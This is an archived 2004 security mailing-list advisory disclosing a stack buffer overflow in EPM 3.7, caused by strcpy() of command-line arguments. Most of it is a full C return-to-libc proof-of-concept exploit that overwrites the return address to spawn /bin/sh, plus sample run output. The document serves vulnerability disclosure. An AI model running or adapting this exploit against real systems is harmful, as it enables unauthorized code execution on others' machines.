Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [UNIX] EPM Buffer Overflow (retlibc exploit) |
|---|---|
| Date: | 4 Oct 2004 13:58:50 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - EPM Buffer Overflow (retlibc exploit) ------------------------------------------------------------------------ SUMMARY <http://www.easysw.com/epm/> EPM is the software packaging tool that we now use at Easy Software Products. It is a simple tool that generates software and patch distributions in various formats. A stack-based buffer overflow was found in the software packaging tool that enables the execution of code with the privileges of the user running the program. DETAILS Vulnerable Systems: * EPM version 3.7 Due to an unsafe copying of parameters from the command line using strcpy() in epm.c, the stack can be smashed and the return address overwritten. A small excerpt from the code is presented: --- epm.c --- 350: else if (strchr(argv[i], '=') != NULL) 351: putenv(argv[i]); 352: else if (prodname[0] == '\0') 353: strcpy(prodname, argv[i]); 354: else if (listname[0] == '\0') 355: strcpy(listname, argv[i]); --- epm.c --- Running the exploit would yield: [!] Usage: ./flow-epm <path> <offset> flowsecurity $ ./flow-epm ./epm 15 [*] Program name : [./epm] [*] Offset : [15] [*] system() address : [0x4006d4b0] [*] _exit() address : [0x400d8088] [*] /bin/sh address : [0x40151439] [!]: Bad address sh-2.05b$ Exploit /* * _____ _ * | ___| | _____ ___ * | |_ | |/ _ \ \ /\ / / * | _| | | (_) \ V V / * |_| |_|\___/ \_/\_/ * Security Group. * * Description: flow-epm.c (www.flowsecurity.org) * * Proof of Concept local RetLibc exploit for EPM - 3.7(not suid by default). * * It has been successfull tested on: * * Suse Linux 9.0 * Greets: * * Luiz Fernando Camargo * Jefferson Cechinel * Gerrit * fAil * newbug * * Date: 29'Sep 2004 * * * Author: * Thyago Silva - setnf@flowsecurity.org */ #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <dlfcn.h> #define PNAME "./epm" // program name #define NOP 0x90 // No Operation /* You need change the addr's */ #define SYSTEM 0x4006d4b0 // system() address in libc #define EXIT 0x400d8088 // _exit() address in libc #define SHELL 0x40151439 // /bin/sh address in libc int main(int argc, char *argv[]) { if(argc < 3 || argc > 3) { fprintf(stderr, "############## Flow Security ##############\n"); fprintf(stderr, "# RetLibc Exploit for EPM - 3.7 #\n"); fprintf(stderr, "# setnf@flowsecurity.org #\n"); fprintf(stderr, "###########################################\n\n"); fprintf(stderr, "[!] Usage: %s <path> <offset>\n\n", argv[0]); exit(0); } int TBUFF = ((256 + 4) + (4 * 3) + 1); /* total buffer */ int NBUFF = ((256 / 4) + atoi(argv[2])); /* NOP buffer with offset */ fprintf(stderr, "[*] Program name : [%s]\n", argv[1]); fprintf(stderr, "[*] Offset : [%d]\n", atoi(argv[2])); char buf[TBUFF]; int *p = (int *)buf; fprintf(stderr, "[*] system() address : [%p]\n", SYSTEM); fprintf(stderr, "[*] _exit() address : [%p]\n", EXIT); fprintf(stderr, "[*] /bin/sh address : [%p]\n", SHELL); /* fill the first part of the buffer */ memset(buf, NOP, TBUFF); p += NBUFF; /* prepare the stack */ *p++ = SYSTEM; *p++ = EXIT; *p++ = SHELL; *p = 0x0; /* run the vulnerable program */ execl(argv[1], argv[1] + 2, buf, NULL); perror("\n[!]"); } ADDITIONAL INFORMATION The information has been provided by <mailto:setnf@flowsecurity.org> setnf. ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [EXPL] ICECast Remote Code Execution, SecuriTeam |
|---|---|
| Next by Date: | [TOOL] Hotspotter - a Wireless Honeypot, SecuriTeam |
| Previous by Thread: | [EXPL] ICECast Remote Code Execution, SecuriTeam |
| Next by Thread: | [TOOL] Hotspotter - a Wireless Honeypot, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |